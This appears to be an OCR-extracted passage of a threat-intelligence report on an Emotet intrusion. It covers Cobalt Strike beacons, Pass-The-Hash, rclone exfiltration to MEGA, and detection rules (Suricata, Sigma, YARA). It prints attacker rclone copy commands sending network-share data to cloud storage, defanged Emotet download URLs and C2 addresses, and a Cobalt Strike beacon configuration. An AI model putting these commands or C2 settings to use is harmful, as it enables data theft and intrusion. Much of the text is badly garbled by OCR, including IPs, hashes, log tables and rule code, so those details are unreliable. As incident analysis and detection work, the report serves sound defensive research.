SMB2 410 Create Response File: ProgramData\l.msi
=n=146@ [TCP segment of a reassembled PDU]

The same can be observed for other payloads used during the intrusion as well; here we can see that same data using Zeek logs
when the threat actors transferred the 1.dll Cobalt Strike beacon laterally to gain access to additional hosts.

event_dat; file_name zeck_smb.fle zeek_smb.files_action

We also observed Pass-The-Hash used throughout the intrusion via the Cobalt Strike Beacons. Threat actors used PTH to
acquire a session with elevated user access. We observed the below logs being generated on the source host and domain
controller that indicate the use of PTH.

Source Host:
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- Windows EID 4624

Logon Type = 9

Authentication Package = Negotiate
Logon Process = seclogo

- Windows EID 467

Domain Controller:

windows EID 4776

=

Workstation

Date:
Time:

Type:

Logon Type: 9
EID: 4624

Logon Process: seclogo

Special privileges EID: 4672

User:
Computer:
Descrpton
The computer attempted to vaidate the redentals for an account.

Audit Success
NA

t

Mtk besogge ﬁm,memcmm,um,n,o
ode:

o0

0

DC

Sarce:  MaosoftWindows Searity-Audtng
Category:  Credentil Vakdaton
EventD: 4776

EID: 4776

S _

You can read more about detecting “Pass-The-Hash” here by Stealthbits and here by Hausec.

Command and Control

The computer attempted
to validate the credentials
for an account.

Emotet

In the Emotet Excel document, the following URLs are hard coded, and obfuscated, to download the second stage.

https[:]//lopespublicidade[.]com/cgi-bin/e5R50G4iEaQnxQrzbh/
https[:]//bosny[.]com/aspnet_client/rnMpOofR/
http[:]//seasidesolutions[.]com/cgi-bin/WL006SEzYCJ3LT1C/
http[:]//borgelin[.]Jorg/belzebub/okwRwz1C/
http[:]//1loa-hk[.]com/wp-content/ffBag/

The second stage of Emotet has a set of hard-coded IPs that it tries to connect to after the DLL is executed.

15/30


https://thedfirreport.com/wp-content/uploads/2022/09/Pass-The-Hash-14335.png
https://stealthbits.com/blog/how-to-detect-pass-the-hash-attacks/
https://hausec.com/2021/07/26/cobalt-strike-and-tradecraft/

hxxps[:
hxxps[:
hxxps[:
hxxps[:
hxxps[:
hxxps[:
hxxps[:
hxxps[:
hxxps[:
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hxxps[:
hxxps[:
hxxps[:
hxxps[:
hxxps[:
hxxps[:
hxxps[:
hxxps[:
hxxps[:
hxxps[:
hxxps[:
hxxps[:
hxxps[:
hxxps[:
hxxps[:
hxxps[:
hxxps[:
hxxps[:
hxxps[:
hxxps[:
hxxps[:
hxxps[:
hxxps[:
hxxps[:
hxxps[:
hxxps[:

//1103[.
//1103[.
//1103[.
//1103[.
//1103[.
//1103[.
//1103[.
//1103[.
//1103[.
//1103[.
//1104[ .
//1104[.
//1110[ .
//1110[.
//1116[ .
//1116[ .
/71118 .
//1134[.
//1134[.
/71139 .
/71159 .
//1175[.
//1175[ .
//1178[ .
/71178 .
//1185[.
//]185[.
//1188[ .
/71188 .
//1190[ .
//1194[ .
//1194[ .
//1195[ .
//1195[ .
//1195[.
//1196].
//1196[ .
//1202[.
//1202[.
//1202[ .
//1202[ .
//1202[ .
//1203[.
//1207[.
//1207[.
//1210[ .
//1210[ .
//1217[ .

//136].
//137].
//137[.
//137[.
//137[.
//145].

1133[.]214[.]242/
1133[.]214[.]242:8080/
141[.1204[.1169/
141[.1204[.]1169:8080/
142[.158[.]1120/
142[.158[.]1120:7080/
156[.1149[.1105/
156[.1149[.]105:8080/
18[.126[.]17/
18[.126[.]17:8080/
1248[.]225[.1227/
1248[.]225[.]227:8080/
1235[.183[.1107/
1235[.183[.]107:7080/
1124[.]128[.]206/
1124[.]128[.]206:8080/
198[.172[.]186/
1122[.]119[.]23/
1122[.]119[.]23:8080/
1196[.]72[.]1155:8080/
169[.1237[.]1188/
1126[.1176[.]79/
1126[.]176[.]79:8080/
162[.1112[.1199/
162[.1112[.]1199:8080/
1148[.]168[.]220/
1148[.]168[.]220:8080/
1225[.132[.]1231/
1225[.132[.]231:4143/
190[.1233[.]66/
19[.]1172[.]1107/
19[.]172[.]107:8080/
1154[.]146[.]35/
177[.1239[.139/
177[.1239[.139:8080/
144[.198[.]1190/
144[.198[.]1190:8080/
1134[.14[.]1210/
1134[.]4[.]1210:7080/
128[.134[.199/
128[.134[.]199:8080/
129[.1239[.]162/
1153[.]216[.]46/
1148[.]81[.]1119/
1148[.]81[.]119:8080/
157[.1209[ . 1142/
157[.1209[.]1142:8080/
1182[.]143[.]207/
167[.123[.159/
144[.1244[.1177/
144[.1244[.]177:8080/
159[.1209[.]141/
159[.1209[.]141:8080/
171[.1195[.]1104:8080/

//15[.156[.1132[.]1177:8080/

/7151 .
//154].
//154].
//154].
//154].
//154].
/7159 .
/7162 .
//166].
//168].
//168].
//168].
//178] .
//178].
//185].
//185].
//185].

168[.]1141[.]164:8080/
137[.]1106[.]167:8080/
137[.1228[.]1122/
138[.1143[.]246/
138[.]143[.]246:7080/
138[.]242[.]185/
1148[.1253[.]194/
1171[.]178[.]147:8080/
142[.157[.1149/
1183[.]91[.]111/
1183[.]91[.]111:8080/
1183[.]93[.]250/
146[.173[.1125/
147[.]204[.180/
1214[.167[.]203/
1214[.167[.]203:8080/
125[.]120[.]45/
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hxxps[://]185[.]25[.]120[.]45:8080/
hxxps[://]187[.]1166[.]97[.]183/
hxxps[://]187[.]106[.]97[.]83:7080/
hxxps[://]188[.]1217[.]172[.]165/
hxxps[://]188[.]217[.]172[.]165:8080/
hxxps[://]193[.]104[.]209[.]107/
hxxps[://]193[.]1104[.]209[.]107:8080/

Cobalt Strike

Emotet, later on, deployed Cobalt Strike for additional functionality.

59.95.98.204

JA3: 72a589da586844d7f0818ce684948eea

JA3S: f176ba63b4d68e576b5bal345bec2c7b7

Certificate: [66:f7:4c:f9:56:5d:fe:15:a6:8c:62:b9:3d:72:cb:8e:c9:€9:89:02]
Not Before: 2022/05/19 12:22:46 UTC

Not After: 2023/05/19 12:22:46 (UTC)

Issuer Org: jQuery

Subject Common: jquery.com
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"beacontype": [
"HTTP"
1,
"sleeptime": 45000,
"jitter": 37,
"maxgetsize": 1403644,
"spawnto": "AAAAAAAAAAAAAAAAAAAAAA==",
"license_id": 206546002,
"cfg_caution": false,
"kill_date": null,
"server": {
"hostname": "59.95.98.204",
"port": 8080,
"publickey":
"MIGFMAOGCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCTWiK6EPKk2D2H0o7CBgdUTfK2kga/1x2LOTtOR4P1/Sof+7skI0qclxG1lPeQThcOVYagoqiuCJICn/QQd8pJ

H
"host_header": "",
"useragent_header": null,
"http-get": {
"uri": "/jquery-3.3.1.min.js",
"verb": "GET",
"client": {
"headers": null,
"metadata": null
}!
"server": {
"output": [
"print",
"append 1522 characters",
"prepend 84 characters",
"prepend 3931 characters",
"base64url",
"mask"

}
H
"http-post": {
"uri": "/jquery-3.3.2.min.js",
"verb": "POST",
"client": {
"headers": null,
"id": null,
"output": null
}
I
"tcp_frame_header"
"' AAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

"crypto_scheme": 0,
"proxy": {

"type": null,

"username": null,

"password": null,

"behavior": "Use IE settings"
H
"http_post_chunk": 0,
"uses_cookies": true,
"post-ex": {

"spawnto_x86": "%windir%\\syswow64\\dllhost.exe",

"spawnto_x64": "%windir%\\sysnative\\dllhost.exe"
H
"process-inject": {

"allocator": "NtMapViewOfSection",

"execute": [
"CreateThread 'ntdll!RtlUserThreadStart'",
"CreateThread",
"NtQueueApcThread-s",
"CreateRemoteThread",
"RtlCreateUserThread"
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"min_alloc": 17500,
"startrwx": false,
"stub": "yl5rgAigihmtjA5iEHURzg==",
"transform-x86": [
"prepend '\\x90\\x90'"
1,
"transform-x64": [
"prepend '\\x90\\x90"'"

1,
"userwx": false

I

"dns-beacon": {
"dns_idle": null,
"dns_sleep": null,
"maxdns": null,
"beacon": null,
"get_A": null,
"get_AAAA": null,
"get_TXT": null,
"put_metadata": null,
"put_output": null

H

"pipename": null,

"smb_frame_header"

"AAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

"stage": {
"cleanup": true

H

"ssh": {
"hostname": null,
"port": null,
"username": null,
"password": null,
"privatekey": null

Source

(GET /query-3.3.1.min s HITP/1.1

Accept: texthtm applcation/xmi+xm appICaLoNAMIG=0.9,:q=0.8
Refere: tp:/code.auery.com/

Accept. Encoding: g2ip, defate

Destination

Coolie:
G2MraF dozHqusIWIKIECOOKBSrawvaxaGotl

User-Agent: Mozila/5.0 (Windows NT 6.3; Trident/7.0; v:11.0) ke Gecko
Host: 50.95.98.204:8080

Connection: Keep-Alve

‘Cache-Control: no-cache

Atera and Splashtop

FT9IK-UeL

HTTP/1.1200 0K
Date: Thu, 10 May 2022 18:45:42 GMT.

Server: NetDNA-cache/2.2

Content-Length: 5671

Keep-Allve: timeout=10, max=100

Connection: kesp-aiive

‘Content:Type: application/javascript; charset=utt-8
‘Cache-Control: max-age=0, no-cache

Pragma: no-cache
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fl=—e7e.+"*"object’~—typeof ol function” —typaof e?l.calle]]"object"ypeof ejvar b="3.3.1°,
wininitfe ) T=/A) p *33.1"
et (boolean ) “obect"
1
331" ) I fobject Object"t=—c.calle)a&(!
(=ie)]"function” ,“constructor) r=0i1C(e)
) epi
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Threat actors used Atera and Splashtop remote access tools on two compromised hosts during the intrusion. Atera granted the
threat actors with interactive access. We cannot, however, confirm that the threat actors utilized this access because the majority
of activity originated through the Cobalt Strike beacons.

Exfiltration

The threat actors used Rclone to exfiltrate sensitive data to MEGA.io cloud storage. Command line logging revealed the
destination to be the Mega service and the network shares targeted.

Parentimage ¢ #  OriginalFileName ¢ #  ParentCommandLine ¢

services.exe svchost.exe svchost.exe -k UnistackSvcGroup -s CDPUserSvc
cnd.exe regsvriz.exe regsvr32 C:\ProgranData\32.dll
cnd.exe regsvri2.exe regsvr32 C:\ProgranData\32.dl1

#  CommandLine = (\ Naming the exfiltrated content and saving it to MEGA

as.oxe 1c reroe. e cony - (TS v sres - —sevore-existing —auto-contirn —-li-thresd-sers 4 —transtes <
cnd.exe /C rclone.exe copy ‘\m‘ mega:Contracts f-q --ignore-existing --auto-confirm --multi-thread-streams 1 --transfers 3 --pwlimit *

cnd.exe /C rclone.exe copy *\\@EIETZEI® | nega: 1T |- —-ignore-existing —-auto-confirm --multi-thread-streans 4 ~-transfers *
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rcl , mega:Shares, -q, ore-existing, --auto-confirm, -thread-streams, 4, -
transfers,

This activity was also visible on the network via Zeek logs showing the SMB share connection activity.

source_address destination_address event_dataset file_name zeek_smb_files_path zeek_smb_files_action
zeek.smb_files programdata\rclone \ FILE_OPEN
zeek.smb_files programdata\rclone AN \ FILE_DELETE
zeek.smb_files prograndata\ relone \ cs FILE_OPEN
2zeek.smb_files programdata\rclene \ FILE_OPEN
zeek.smb_files programdata'\rclone \ FILE_OPEN
zeek.smb_files prograndatal rclone FILE_OPEN
zeek.smb_files programdata\rclone FILE_OPEN
zeek.smb_files programdata\rclone FILE_OPEN
zeek.smb_files prograndatal rclone FILE_OPEN
zeek.smb_files programdata\rclone FILE_OPEN
zeek.smb_files programdata\rclone FILE_OPEN
zeek.smb_files programdata\rclone FILE_OPEN
zeek.smb_files programdata\rclone FILE_OPEN
zeek.smb_files programdata\rclone FILE_OPEN
zeek.smb_files prograndatal rclone FILE_OPEN
zeek.smb_files programdata\rclone FILE_OPEN
zeek.smb_files programdata\rclone FILE_OPEN
zeek.smb_files prograndata\ relone FILE_OPEN
2zeek.smb_files programdata\rclene \ FILE_OPEN
zeek.smb_files programdata\rclone AN \ FILE_OPEN
zeek.smb_files prograndatal rclone \ ! FILE_OPEN
zeek.smb_files programdata\rclone \ FILE_OPEN
zeek.smb_files programdata\rclone FILE_OPEN
zeek.smb_files prograndata\ relone FILE_OPEN
zeek.smb_files programdata\rclone FILE_OPEN
zeek.smb_files programdata\rclone FILE_OPEN
zeek.smb_files prograndatal rclone FILE_OPEN

zeek.smb_files programdata\relone FILE_OPEN

Actions on Objectives

Emotet has for some time been used as an initial access broker for various intrusions; however, some Emotet infections get
tasked with continuing the delivery of new campaigns. In this intrusion, we observed both tasks occurring during the same time
with both the delivery of access to the threat actor utilizing Cobalt Strike and exfiltrating data from the network, all the while, the
original Emotet malware was tasked to deliver new malicious emails.

The Emotet mailer started roughly once each day during the intrusion. Marked by bursts of connection to various email servers.

Action Type Initiating Process File Name Initiating Process Command Line Remote 1P Remote Port Remote Url
ConnectionFailed regsvra2.exe regsvr32.exe "Ci\ \ AppData\Local \FrlxbduRbdVALVES\11JyHIOVFt . d11" 74.208.5.15 7 smtp.mail.com
ConnectionFailed regsvr32 regsvr32.exe "C:\ v AppData\Local\FrlxbduRbAVADVDS\1LIyMIOV Tt 191.252.112.194 email-ssl.com.br
ConnectionFailed regsvra2 regsvra2.exe "Ci\ \ AppData\Local \FrlxbduRbdVAbVES\ 11JyHIOvFt . d11" 43.224.19.48 nail.atisicloud.com
ConnectionFailed regsvra2 regsvr32.exe "C\ \ \AppData\Local\FrlxbduRbdVABVES) LLIyMIOVFt 260.111.176.56 mail.minsal.cl
ConnectionFailed regsvr32 regsvr32.exe "C:\ v AppData\Local \FrlxbduRbdVADVDS\1LIyMIOVt 94.177.209.28 nail.aruba.it
ConnectionSuccess regsvra2 regsvr32.exe "Ci\ \ AppData\Local\FrlxbduRbdVAbVES\ 11JyHIOVFt . d11" 189.113.176.43 mail.globobrindes .com. br
ConnectionFailed regsvr32 regsvr32.exe "C:\ v \AppData\Local\FrlxbduRbdVADVES\ LLIyMIOVTt 62.149.128.179 pop3s_.aruba.it
ConnectionFailed regsvraz regsvra2.exe "C:\ v AppData\Local \FrlxbduRbAVADVDS\ 1LIyMIOVt 62.149.128.72 mail.soigea.it
ConnectionFailed regsur: regsvr32.exe "C\ \ \AppData\Local\FrlxbduRbdVABVES) LLIyMIOVFt 213.209.0.134 imapmail.libero.it
ConnectionFailed regsv regsvr32.exe "C:\ v AppData\Local\FrlxbduRbAVADVDS\1LIyMIOV Tt 18.209.123.174 mail.uol.com.br
ConnectionSuccess regsv regsvra2.exe "Ci\ \ AppData\Local \FrlxbduRbdVAbVES\ 11JyHIOvFt . d11" 62.149.156.218 smtps.aruba. it
ConnectionSuccess regs: regsvr32.exe "C\ \ \AppData\Local\FrlxbduRbdVABVES) LLIyMIOVFt 85.94.195.207 posta.msw. it
Connectionsuccess regsv regsvr32.exe "C:\ v AppData\Local\FrlxbduRbAVADVDS\1LIyMIOV Tt 21.229 nail.mtcit.am
ConnectionSuccess regsv regsvra2.exe "Ci\ \ AppData\Local \FrlxbduRbdVAbVES\ 11JyHIOvFt . d11" 168.8.132.203 smtp.superabodistribuidora.com.br
ConnectionFailed regsur: regsvr32.exe "C\ \ \AppData\Local\FrlxbduRbdVABVES) LLIyMIOVFt 34.236.16.3 pop. titan. email
ConnectionFailed regsv regsvra2.exe "C:\ v AppData\Local \FrlxbduRbAVADVDS\ 1LIyMIOVt 173.261.193.248 nail.secureserver.net
Connectionsuccess regsvr: regsvra2.exe "Ci\ \ \AppDataLocal\FrixbduRbdVADVES\ LLIyMIOVTt 184.187.229.99 7 smtp.eqsoluciones .com. ar
Connectionsuccess regsv regsvr3z.exe "C:\ v AppData\Local \FrlxbduRbAVADVDS\ 1LIyMIOV Tt 94.177.209.30 smtp.aruba. it
ConnectionSuccess regsv regsvra2.exe "Ci\ \ AppData\Local \FrlxbduRbdVAbVES\ 11JyHIOvFt . d11" 52.144.89.37 mail.adlergroup.it
ConnectionFailed regsur: regsvr32.exe "C\ \ \AppData\Local\FrlxbduRbdVABVES) LLIyMIOVFt 62.149.128.167 pop3.3vchimica. it
ConnectionFailed regsv regsvr32.exe "C:\ v AppData\Local\FrlxbduRbAVADVDS\1LIyMIOV Tt 62.149.128.166 mail.lemaconsulting it
ConnectionFailed regsv regsvra2.exe "Ci\ \ AppData\Local \FrlxbduRbdVAbVES\ 11JyHIOvFt . d11" 62.149.128.164 pop3.3vchimica. it
ConnectionFailed regsur: regsvr32 \ \ \AppData\Local\FrlxbduRbdVABVES) LLIyMIOVFt 62.149.128.157 mail.lemaconsulting.it
ConnectionFailed regsv regsvr32 \ v AppData\Local \FrlxbduRbAVADVDS\ 1LIyMIOVt REERVINES pop3.3vchimica. it

ConnectionFailed regsv regsvr32 e\ \ AppData\Local \FrlxbduRbdVALVES\11JyHIOVFt . d11" [ZRECRVINT:] 7 mail.lemaconsulting it
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The emails were sent through various compromised email accounts, propagating additional malicious xIs files to further propagate
Emotet access.
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.local Microsoft ESMTP MAIL Service ready at

- - === - - -\V]GVLET8VpFNecN4TTIuBwK()|
Content-Type: application/vnd.ms-excel;
name="497683746276.x1s"
Content-Transfer-Encoding: baseG4|
Content-Disposition: attachment; Tilename="497683746276.x1s"

OMBRAKGXGUEAAAAAAAAAAAAAAAAAAAAAPGADAR T / CQAGAAAAAAAAAAAAAAACAAAADD AAAAAAAAAA
EARA/V/ £ FUAAMAD+/ / / / AAAAAKQAAACLARAAS / /£ /14 £ 147 £ 1 FEALFFFEEITIEEITII I 07
(EELIEEELLEELLLEIEED P EELETEELEPELLETITLETETLED LI EEEIIELEEIIIL I FE Y
L N R R A Y N Ve R a sy a Y,
(EELIEIEELERIIL I EEDEEEEL LRI ILLETITI I ETTEI LI EETEIILI I IIITdd I
(PELIIIELLIEIIIR I TLS LIS EEIRILLEIILLTEREIAAREL AP EFIERILLEIIIIT 011
JIELIFIELLLEIIIR I ELS P EIESEELERILEETITLEAETIA LI EFIERIIIE LTI I
FEELIELELLEILILEIEED LIS ELPIILEETIILELETLALL AL EFEILELEEILIT I
(EEFIEEEELIEELITIEEDFEEEEFEEEPRETEETITEEIETTEI LI EEIEIILL I III7E0017FB]
CEAAAAYFAFpPZQT JAATABgOAADEAAGCWEMEAAGAAADTAAABCAHAABQAARH I 1YWagICAGICAGICAY
ICAQICAQICAGICAQICAQICAGICAGICAGICAGICAGICAGICAGICAGICAQICAGICAGICAGICAGICAY
ICAQICAGICAGICAQICAQICAGICAGICAGICAGICAGICAGICAIETAAGCWBGERBAGAAAMARAAAIAQOA
QACAAMABAAFAJWAAGARABKAAGAAABTAAGAAABMAAGAAAKSBAGAAAL WEAGAAMDBAEYDAT /h/OFZ 1
MTgAAAAMAAEAWAJAAAT AAACHAATAAAATAATAAAADAATAAQC3AQTAAADAAATAMMAXABIAZAAAAAGA
KAEAAAACAATHAUMAYQBSAGKAY OBYAGKAMOASANWAAAAT AJABAAAAASWC BWF DAGEADABDAGT AcBD
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We did not see any further activity but we believe if given enough time, this would have ended with domain wide ransomware. We

have a case coming up in a few weeks where it does exactly that.

Indicators

File:

info_1805.x1s

acd3d4e8f63f52eaf57467a76ca2389d
4a42b5e7e7fd43ddefc856f45bbh95d97656ddcab
e598b9700e13f2cb1c30c6d9230152ed5716a6d6e25db702576fefeb6638005e

1.d11

27d0b9e38cdc9al31fa9271cObbf5d393
€96980812c287¢c9d27be9181bcf08727cc9f457a
1b9c9eded6dab822b36e3716b1e8f046e92546554dff9bdbd18c822e18ab226b

find.bat

c96b2b5b52ef0013b841d136ddab0f49
22cc2bc032ae327de9f975e9122h692e4474acls
5a5c601ede80d53e87e9cch16b3b46f704e63ec7807e51137929f65266158f4c

p.bat

adf2b487134ffcd7999e419318dfdf8d
91c54877440d14538be22d662e7f47e29ab219bf
fd72a9313f8564b57ebd18791a438216d289d4a97df3f860f1fc585a001265d9

11JymMIOvft.dl1l
£9847812689ec7af136a151a19b2d56¢
88591ad3806c0ale451c744d4942e99e9a502FF7
2b2e00ed89ce6898b9e58168488e72869F8e09F98Fech052143e1598e5dagdf

uomCgbXygCe.exe

592155bbbab05ac1f818cfd9eb53b672
82070d19c26e0f7e255168e1f2364174215aa0de
f4c085eflba7e78a17a9185e4d5e06163fe0e39b6b0dc3088b4cledl1cOd726b

Network:

Cobalt Strike:

59.95.98.204:8080
http://59.95.98.204:8080/jquery-3.3.1.min. js

Emotet:

103.8.26.17:8080
134.122.119.23:8080
54.38.143.246:7080
202.29.239.162:443

Detections

Network

Suricata rules:

ET DROP Spamhaus DROP Listed Traffic Inbound group 13

ET CNC Feodo Tracker Reported CnC Server group 9

ET CNC Feodo Tracker Reported CnC Server group 12

ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2
ET MALWARE Cobalt Strike Beacon Activity (GET)

ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response

ET MALWARE Cobalt Strike Activity (POST)

ET CNC Feodo Tracker Reported CnC Server group 22

ET POLICY SMB Executable File Transfer

ET RPC DCERPC SVCCTL - Remote Service Control Manager Access
ET CNC Feodo Tracker Reported CnC Server group 24

ET MALWARE W32/Emotet CnC Beacon 3
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Sigma

https://github.com/The-DFIR-Report/Sigma-Rules/blob/main/ateraagent_malicious_installations.yml

title: AteraAgent malicious installations

id: fbof2d48-269d-473e-9afc-c540a16a990f

description: Detects potentially malicious AteraAgent installations when the IntegratorLogin parameter is used to

register a non-business email.
status: experimental
date: 2022/09/12
author: '@kostastsale, @TheDFIRReport'
logsource:
category: process_creation
product: windows
detection:
selectioni:
Image:
'*\AteraAgent.exe'
CommandLine|contains|all:
- /i
- 'IntegratorLogin="'
selection2:
CommandLine|contains:

# Feel free to modify the email addresses to fit your needs

- '@gmail.com'
- '@hotmail.com'
- '@hotmail.com'
- '@yandex.ru'
- '@mail.ru'
- '@outlook.com'
- '@protonmail.com'
- '@dropmail.me'’
condition: selectionl and selection2
falsepositives:
- Unlikely
level: high
tags:
- attack.execution
- attack.T1059.006

https://github.com/The-DFIR-Report/Sigma-Rules/blob/main/rclone_smb_share_exfiltration.yml

title: Rclone SMB Share Exfiltration
id: 889bc648-5164-4414-9388-fh5d6b58a7bh2
status: Experimental

description: Detection of a exfiltration activity using rclone from Windows network shares using SMB.

author: \@TheDFIRReport
date: 2022/09/12
references:
- https://thedfirreport.com/
logsource:
product: zeek
service: smb_files
detection:
selection:
file_name|endswith:
- "\rclone.exe'
condition: selection
falsepositives:
- Approved business backup processes.
level: medium
tags:
- attack.exfiltration
- attack.t567.002

https://github.com/The-DFIR-Report/Sigma-Rules/blob/main/potential_smb_dIl_lateral_movement.yml
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title: Potential SMB DLL Lateral Movement
id: 8fel524e-8c97-404c-9dee-090929a315c4
status: Experimental
description: Detection of potential us of SMB to transfer DLL's into the ProgramData folder of hosts for purposes of
lateral movement.
author: \@TheDFIRReport
date: 2022/09/12
references:
- https://thedfirreport.com/
logsource:
product: zeek
service: smb_files
detection:
selection_1:
file_name|contains:
- 'programdata'
selection_2:
file_name|endswith:
- '\.d1ll'
condition: selection_1 and selection_2
falsepositives:
- RMM Tools and Administrative activities in ProgramData Folder.
level: medium
tags:
- attack.lateral_movement
- attack.t1570

Yara

https://github.com/The-DFIR-Report/Yara-Rules/blob/main/case_14335.yar
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/*

YARA Rule Set

Author: The DFIR Report

Date: 2022-09-12

Identifier: Emotet Case 14335

Reference: https://thedfirreport.com

*/

/* RULE SeL - -memmcic oo */

import "pe"

rule 11JyMIOvft_14335 {
meta:
description = "11JyMIOvft.dll"
author = "The DFIR Report"
reference = "https://thedfirreport.com"
date = 2022-09-12"
hashl = "2b2e00ed89ce6898b9e58168488e72869f8e09f98fech052143e15e98e5da9df"

strings:
$s1 = "Project1.dll" fullword ascii
$s2 = "I>v:i\"6;" fullword ascii
$s3 = "y6./XoFz_6fw%r:6*" fullword ascii
$s4 = "u3!RuF%0R_0*"$nw7&<assembly xmlns=\"urn:schemas-microsoft-com:asm.vi\" manifestVersion=\"1.0\">" fullword
ascii
$s5 = "*/B+ n" fullword ascii

$s6 = "zZnwFY66" fullword ascii

$s7 = "11f%G%w" fullword ascii

$s8 = "QKMaxCL6" fullword ascii

$s9 = "IMaR1lh9" fullword ascii

$s10 = "_BZRDe'7&7<<!{nBLU" fullword ascii

$s11 = "1lw7\"668!gZNL_EIS7IiMa" fullword ascii

$s12 "IS6\\JMtdHhOPiw2/PuH" fullword ascii

$s13 = "iw#!RUF%0R__*A$nw76668!qZNL_EYS7I" fullword ascii
$s14 = ".RUF%LR__*A$" fullword ascii

$s15 = "A<_EHJ3IPLPezZXOPhg7!BAK%_ " fullword ascii

$s16 = "11G8RN\"20IKY*E%zw'v669(pZGn_EH_6IE" fullword ascii
$s17 = "ilg7RnrO0IA]*JITnw6\"76<" fullword ascii

$s18 = "Broken pipe" fullword ascii /* Goodware String - occured 742 times */
$s19 = "Permission denied" fullword ascii /* Goodware String - occured 823 times */
$s520 = "v)(Ro\">0HkU*D%xw9" fullword ascii
condition:
uint16(0) == Ox5a4d and filesize < 3000KB and
( pe.imphash() == "066c972d2129d0e167d371a®abfcf@3b" and ( pe.exports("YAeJyEAYL7F4eDck6YUaf") and
pe.exports("fmFkmnQYB5TC2Sq5NGFkK") and pe.exports("nrDjhnkd9nedaQwcCY") ) or 12 of them )

}

rule UOmCgbXygCe_14335 {
meta:
description = "UOmCgbXygCe.exe"
author = "The DFIR Report"
reference = "https://thedfirreport.com"
date = "2022-09-12"
hashl = "f4c085eflba7e78a17a9185e4d5e06163fe0e39b6b0dc3088b4cledllcOd726b"

strings:

$s1 = "runsuite.log" fullword ascii

$s2 = "AppPolicyGetProcessTerminationMethod" fullword ascii

$s3 = "f73.exe" fullword ascii

$s4 = "Processing test line %1d %s leaked %d" fullword ascii

$s5 = "Internal error: xmlSchemaTypeFixup, complex type '%s': the <simpleContent><restriction> is missing a
<simpleType> child, but was" ascii

$s6 = "The target namespace of the included/redefined schema '%s' has to be absent or the same as the
including/redefining schema's tar" ascii

$s7 = "The target namespace of the included/redefined schema '%s' has to be absent, since the including/redefining
schema has no target" ascii

$s8 = "A <simpleType> is expected among the children of <restriction>, if <simpleContent> is used and the base
type '%s' is a complex t" ascii

$s9 = "there is at least one entity reference in the node-tree currently being validated. Processing of entities
with this XML Schema p" ascii

$s10 = "## %s test suite for Schemas version %s" fullword ascii
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$s11 = "Internal error: %s, " fullword ascii

$s12 = "If <simpleContent> and <restriction> is used, the base type must be a simple type or a complex type with
mixed content and parti" ascii

$s13 = "For a string to be a valid default, the type definition must be a simple type or a complex type with
simple content or mixed con" ascii

$s14 = "For a string to be a valid default, the type definition must be a simple type or a complex type with mixed
content and a particl" ascii

$s15 = "Could not open the log file, running in verbose mode" fullword ascii

$s16 = "not validating will not read content for PE entity %s" fullword ascii

$s17 = "Skipping import of schema located at '%s' for the namespace '%s', since this namespace was already
imported with the schema loca" ascii

$s18 = "(annotation?, (simpleContent | complexContent | ((group | all | choice | sequence)?, ((attribute |
attributeGroup)*, anyAttribut" ascii

$s19 = "get namespace" fullword ascii

$s20 = "instance %s fails to parse" fullword ascii

condition:
uint16(0) == Ox5a4d and filesize < 7000KB and
( pe.imphash() == "bcf185f1308ffd9e4249849d206d9d0c" and pe.exports("xmlEscapeFormatString") or 12 of them )

rule info_1805_14335 {

meta:
description = "info_1805.x1s"
author = "The DFIR Report"
reference = "https://thedfirreport.com"

date = "2022-09-12"
hashl = "e598b9700e13f2cbh1c30c6d9230152ed5716a6d6e25db702576fefeb6638005e"

strings:
$s1 = "32.exe" fullword ascii
$s2 = "System32\\X" fullword ascii
$s3 = "DocumentOwnerPassword" fullword wide
$s4 = "DocumentUserPassword" fullword wide

$s5 = "t\"&\"t\"&\"p\"&\"s:\"&\"//10o\"&\"pe\"&\"sp\"&\"ub\"&\"1i\"&\"ci\"&\"da\"&\"de.c\"&\"o\"&\"m/cgi-
bin/e\"&\"5R\"&\"50\"&\"G4\"&\"" ascii

$s6 = "UniresDLL" fullword ascii

$s7 = "OEOGAJPGJPAG" fullword ascii

$s8 = "\\Windows\\" fullword ascii

$s9 = "_-* #, ##0.00_-;\\-* #, ##0.00_-;_-* \"-\"??_-;[email protected] -" fullword ascii
$s10 = "_-* #,##0_-;\\-* #,##0_-;_-* \"-\"_-;[email protected] -" fullword ascii
$s11 = "_-;_-* \"" fullword ascii

$s12 = "A{)P -z)" fullword ascii
$s13 = "ResOptionl" fullword ascii

$s14 = "DocumentSummaryInformation" fullword wide /* Goodware String - occured 41 times */
$s15 = "Root Entry" fullword wide /* Goodware String - occured 46 times */
$s16 = "SummaryInformation" fullword wide /* Goodware String - occured 50 times */

$s17 = "A\",\"JJiccBB\"" fullword ascii

$s18 = "Excel 4.0" fullword ascii

$s19 = "Microsoft Print to PDF" fullword wide

$s520 = "\"_-;\\-* #,##0.00\\ \"" fullword wide /* Goodware String - occured 1 times */
condition:

uint16(0) == Oxcfdo and filesize < 200KB and

all of them

rule cobalt_strike_14435_dll 1 {
meta:
description = "1.d11"
author = "The DFIR Report"
reference = "https://thedfirreport.com"
date = "2022-09-12"
hashl = "1b9c9e4ed6dab822b36e3716b1e8f046e€92546554dff9bdbd18c822e18ab226b"
strings:
$s1 = "curity><requestedPrivileges><requestedExecutionLevel level=\"asInvoker\" uiAccess=\"false\">
</requestedExecutionLevel></requeste" ascii
$s2 = "CDNS Project.dll" fullword ascii

$s3 = "hemas.microsoft.com/SMI/2005/WindowsSettings\">true</dpiAware></windowsSettings></application></assembly>"
fullword ascii

$s4 = "Hostname to lookup:" fullword wide

$s5 = "Hostnames:" fullword wide

$s6 = "wOshVv- D3\"[email protected] \\" fullword ascii
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$s7

$s8

$s9

$s10
$s11
$s12
$s13
$s14
$s15
$s16
$s17

"T4jk{zrvG#@KRO* d'z" fullword ascii
"CDNS Project Version 1.0" fullword wide
"zK$%S.cPO>rtw" fullword ascii
"vOsh.HSDiXRI" fullword ascii
"14p.o0ZewOsh7zP" fullword ascii
"5p20.ew0sh7H" fullword ascii

"h7H.DiX" fullword ascii
"14pwWo.ewOsh[H%DiXRI" fullword ascii
